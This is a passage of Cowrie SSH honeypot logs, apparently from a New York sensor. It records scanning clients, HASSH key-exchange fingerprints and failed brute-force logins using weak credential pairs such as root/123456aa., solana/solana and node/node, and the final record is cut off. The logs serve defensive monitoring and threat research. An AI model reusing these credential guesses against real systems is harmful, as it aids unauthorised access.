{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:20:46.820445Z","src_ip":"80.94.92.184","session":"aa8eae5ccd7d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"solana","message":"login attempt [solana/solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:20:48.460665Z","src_ip":"80.94.92.184","session":"aa8eae5ccd7d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:20:49.572351Z","src_ip":"80.94.92.184","session":"aa8eae5ccd7d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":43536,"dst_ip":"10.17.0.5","dst_port":22,"session":"a6a179d83ce0","protocol":"ssh","message":"New connection: 2.57.122.238:43536 (10.17.0.5:22) [session: a6a179d83ce0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:20:54.472272Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:20:54.477936Z","src_ip":"2.57.122.238","session":"a6a179d83ce0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:20:54.573327Z","src_ip":"2.57.122.238","session":"a6a179d83ce0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ethereum","password":"ethereum","message":"login attempt [ethereum/ethereum] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:20:54.861988Z","src_ip":"2.57.122.238","session":"a6a179d83ce0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:20:55.961143Z","src_ip":"2.57.122.238","session":"a6a179d83ce0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":11020,"dst_ip":"159.203.135.109","dst_port":22,"session":"6196722435c8","protocol":"ssh","message":"New connection: 2.57.121.25:11020 (159.203.135.109:22) [session: 6196722435c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:21:04.302707Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:21:04.310730Z","src_ip":"2.57.121.25","session":"6196722435c8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:21:04.419890Z","src_ip":"2.57.121.25","session":"6196722435c8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"16061995","message":"login attempt [user/16061995] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:21:04.917045Z","src_ip":"2.57.121.25","session":"6196722435c8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"160585","message":"login attempt [user/160585] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:21:06.027194Z","src_ip":"2.57.121.25","session":"6196722435c8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"16051994","message":"login attempt [user/16051994] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:21:07.136870Z","src_ip":"2.57.121.25","session":"6196722435c8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"16041979","message":"login attempt [user/16041979] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:21:08.246531Z","src_ip":"2.57.121.25","session":"6196722435c8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"16041977","message":"login attempt [user/16041977] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:21:09.356733Z","src_ip":"2.57.121.25","session":"6196722435c8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.2","message":"Connection lost after 6.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:21:10.466942Z","src_ip":"2.57.121.25","session":"6196722435c8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.103.114.196","src_port":47598,"dst_ip":"10.17.0.5","dst_port":22,"session":"90a7253f120d","protocol":"ssh","message":"New connection: 14.103.114.196:47598 (10.17.0.5:22) [session: 90a7253f120d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:21:22.747420Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:21:22.758890Z","src_ip":"14.103.114.196","session":"90a7253f120d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:21:23.007786Z","src_ip":"14.103.114.196","session":"90a7253f120d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456aa.","message":"login attempt [root/123456aa.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:21:24.011741Z","src_ip":"14.103.114.196","session":"90a7253f120d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:21:25.264439Z","src_ip":"14.103.114.196","session":"90a7253f120d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"66.240.223.208","src_port":40188,"dst_ip":"10.17.0.5","dst_port":22,"session":"a8726421fee1","protocol":"ssh","message":"New connection: 66.240.223.208:40188 (10.17.0.5:22) [session: a8726421fee1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:22:16.863434Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:22:16.868905Z","src_ip":"66.240.223.208","session":"a8726421fee1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"084386fa7ae5039bcf6f07298a05a227","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 084386fa7ae5039bcf6f07298a05a227","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:22:16.942684Z","src_ip":"66.240.223.208","session":"a8726421fee1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":18048,"dst_ip":"159.203.135.109","dst_port":22,"session":"fc8dae6633b8","protocol":"ssh","message":"New connection: 194.59.206.2:18048 (159.203.135.109:22) [session: fc8dae6633b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:22:17.889252Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:22:17.894131Z","src_ip":"194.59.206.2","session":"fc8dae6633b8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:22:17.981532Z","src_ip":"194.59.206.2","session":"fc8dae6633b8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:22:18.075684Z","src_ip":"194.59.206.2","session":"fc8dae6633b8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.0","message":"Connection lost after 10.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:22:26.864141Z","src_ip":"66.240.223.208","session":"a8726421fee1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":35290,"dst_ip":"10.17.0.5","dst_port":22,"session":"3d3a8c0e08b4","protocol":"ssh","message":"New connection: 2.57.122.238:35290 (10.17.0.5:22) [session: 3d3a8c0e08b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:22:59.728367Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:22:59.733737Z","src_ip":"2.57.122.238","session":"3d3a8c0e08b4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:22:59.834528Z","src_ip":"2.57.122.238","session":"3d3a8c0e08b4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"node","password":"node","message":"login attempt [node/node] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:23:00.139629Z","src_ip":"2.57.122.238","session":"3d3a8c0e08b4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:23:01.244305Z","src_ip":"2.57.122.238","session":"3d3a8c0e08b4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.250.105.222","src_port":58278,"dst_ip":"10.17.0.5","dst_port":22,"session":"38b3f9b2908a","protocol":"ssh","message":"New connection: 51.250.105.222:58278 (10.17.0.5:22) [session: 38b3f9b2908a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:23:07.467030Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:23:07.471436Z","src_ip":"51.250.105.222","session":"38b3f9b2908a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:23:07.604050Z","src_ip":"51.250.105.222","session":"38b3f9b2908a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"556677","message":"login attempt [root/556677] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:23:07.996940Z","src_ip":"51.250.105.222","session":"38b3f9b2908a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.108.118.91","src_port":54670,"dst_ip":"159.203.135.109","dst_port":22,"session":"b7dcc9669298","protocol":"ssh","message":"New connection: 89.108.118.91:54670 (159.203.135.109:22) [session: b7dcc9669298]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:23:08.207791Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T00:23:08.212234Z","src_ip":"89.108.118.91","session":"b7dcc9669298","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@